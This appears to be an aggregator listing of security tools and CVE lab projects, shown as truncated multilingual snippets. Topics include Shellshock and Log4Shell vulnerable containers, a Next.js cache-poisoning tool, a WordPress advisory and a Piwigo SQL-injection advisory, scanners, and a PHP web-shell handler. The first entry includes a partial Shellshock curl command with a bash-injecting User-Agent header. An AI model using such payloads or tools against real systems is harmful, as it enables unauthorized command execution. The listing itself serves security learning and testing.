docker_CVE-2014-6271.

dockerCVE-2014-6271. 1. docker build -t DOCKERIMAGENAME /path/to/dockerfiledirectory 2. docker run -it -d -p 8080:80 DOCKERIMAGENAME 3. verify execution with: docker ps 4. verify web server execution: http://localhost:8080 5. exploit vulnerability : curl -H "user-agent: :; ; echo; echo; /bin/bash...

CVE-2024-46982

Exploração de Envenenamento de Cache no Next.js Esta ferramenta automatiza a detecção e a exploração da CVE-2024-46982 , uma vulnerabilidade de envenenamento de cache no Next.js , em que respostas de Renderização no Lado do Servidor SSR podem ser incorretamente armazenadas em cache como Geração d...

br0w

br0w Hack The Br0w | Spiele mit deinem Browser und lerne mehr, viel Spaß beim Hacken! Der Br0w ist eine einfache Webseite, um Web-Sicherheit zu lernen, wobei der Browser als Werkzeug dient – dessen Vorteile manchmal vergessen werden. Vielleicht ist es eher wie ein Capture The Flag CTF. Eine der...

CVE-2021-44228

CVE-2021-44228 Utilizza la libreria Log4j 2.14 Vulnerabile in User-Agent, metodo POST e endpoint /admin/cores?foo= L'ho caricato su Docker Hub: puoi eseguire il pull ed eseguirlo https://hub.docker.com/repository/docker/iamnewbie/log4j-vuln...

rbuster

Rbuster yet another dirbuster Common Command line options -a - specify a user agent string to send in the request -c - use this to specify any cookies that you might need simulating auth. header. -f - force processing of a domain with wildcard results. -l - show the length of the response. -r...

vaas-cve-2014-6271

Vulnerabilidade como Serviço - CVE 2014-6271 Um sistema Linux Debian Buster com uma versão vulnerável do bash e uma aplicação web para demonstrar o CVS-2014-6271, também conhecido como Shellshock. Visão Geral Este container Docker é baseado no Debian Buster e foi modificado para usar uma versão...

vaas-cve-2014-6271

Vulnerability as a Service - CVE 2014-6271 A Debian Buster Linux system with a vulnerable version of bash and a web application to showcase CVS-2014-6271, a.k.a. Shellshock. Overview This docker container is based on Debian Buster and has been modified to use a vulernable version of Bash...

Log4J-Log4Shell-CVE-2021-44228-Spring-Boot-Test-Service

CVE-2021-44228 Servizio di test Spring Boot Questo è un progetto hello world spring boot fatto con un hack sporco per testare localmente i tuoi strumenti/payload/capacità di rilevamento prima di colpire i target di produzione con essi. La versione di Log4j configurata è 2.13.0 Creazione...

W3 Total Cache <= 2.9.3 - Unauthenticated Dynamic Security Token Disclosure

The W3 Total Cache WordPress plugin through version 2.9.3 skips its entire output buffering and processing pipeline whenever an incoming request's User-Agent header contains the string "W3 Total Cache", without authenticating the caller. On sites that use developer-placed dynamic fragment tags, t...

Piwigo 13.7.0 - SQL Injection

Piwigo is open source photo gallery software. Prior to version 13.8.0, there is a SQL Injection vulnerability in the login of the administrator screen. The SQL statement that acquires the HTTP Header User-Agent is vulnerable at the endpoint that records user information when logging in to the...

OSTE-Web-Log-Analyzer

OSTE-Web-Log-Analyzer Automatizza il processo di analisi dei log del server web con il Web Log Analyzer in Python. Questo potente strumento è progettato per migliorare la sicurezza identificando e rilevando vari tipi di attacchi informatici nei tuoi log del server. Rimani al passo con le minacce...

Goreport

Goreport v3.0, uma Ferramenta de Relatórios para Gophish Este script aceita os IDs da sua campanha Gophish como parâmetro e então coleta os resultados da campanha para apresentar as estatísticas e realizar a análise de user-agent e consultas de geolocalização para endereços IP. O Goreport gera...

hsecscan

hsecscan A security scanner for HTTP response headers. Requirements Python 2.x Python Modules os.path argparse sqlite3 urlparse urllib2 urllib json ssl Install root@kitploit: $ pip install hsecscan Usage root@kitploit: $ hsecscan usage: hsecscan.py -h -P -p -H Header -u URL -R -i -U User-Agent -D...

pidrila

PIDRILA Current Release: v0.1.0 2020.11.08 Overview PIDRILA : P ython I nteractive D eepweb-oriented R apid I ntelligent L ink A nalyzer is really fast async web path scanner prototype developed by BrightSearch team for all ethical netstalkers. Installation & Usage root@kitploit: git clone...

scour

Scour - AWS Detection Framework This tool is used to emulate attack patterns inside of the AWS Controlplane. Each attack is tagged with a specific UA for the blue team to signal off of. Status This is still an active work in progress. Lots of Bugs Not ready for production Where to file issues :...

CVE-2024-46982-Reproduction

Per Iniziare 1. Installa Node.js LTS 2. npm install 3. npm run build 4. npm run start Sfruttamento 1: XSS persistente tramite avvelenamento della cache 1. Invia la seguente richiesta HTTP Richiesta d'attacco usando un qualsiasi client HTTP. root@kitploit: GET /poc?nextDataReq=1 HTTP/1.1 Host:...

scenester

Scenester Scenester - uno strumento per acquisire uno snapshot visivo di un sito web fornendo più user-agent. Progettato per aiutare nella scoperta di diversi punti di ingresso in un'applicazione. Rilasciato come open source da NCC Group Plc - http://www.nccgroup.com/ Sviluppato da Sharique Shaik...

webhandler

WebHandler Un handler per le funzioni di sistema di PHP e anche un'alternativa a 'netcat' Informazioni WebHandler tenta di simulare un 'prompt bash di Linux' per gestire ed elaborare: root@kitploit: - Funzioni di esecuzione di programmi PHP ad es. system, passthru, exec, ecc. - Connessioni bind...

satellite

satellite Satellite è un servizio di hosting per payload web che filtra le richieste per garantire che il target corretto riceva il payload. Può anche essere un servizio utile per ospitare file che dovrebbero essere accessibili solo in circostanze molto specifiche. Guida rapida 1. Installa...

CVE-2024-50395

CVE-2024-50395 Informazioni CVE È stata segnalata una vulnerabilità di bypass dell'autorizzazione tramite chiave controllata dall'utente che interessa il componente aggiuntivo Media Streaming. Se sfruttata, la vulnerabilità potrebbe consentire ad attaccanti della rete locale di ottenere privilegi...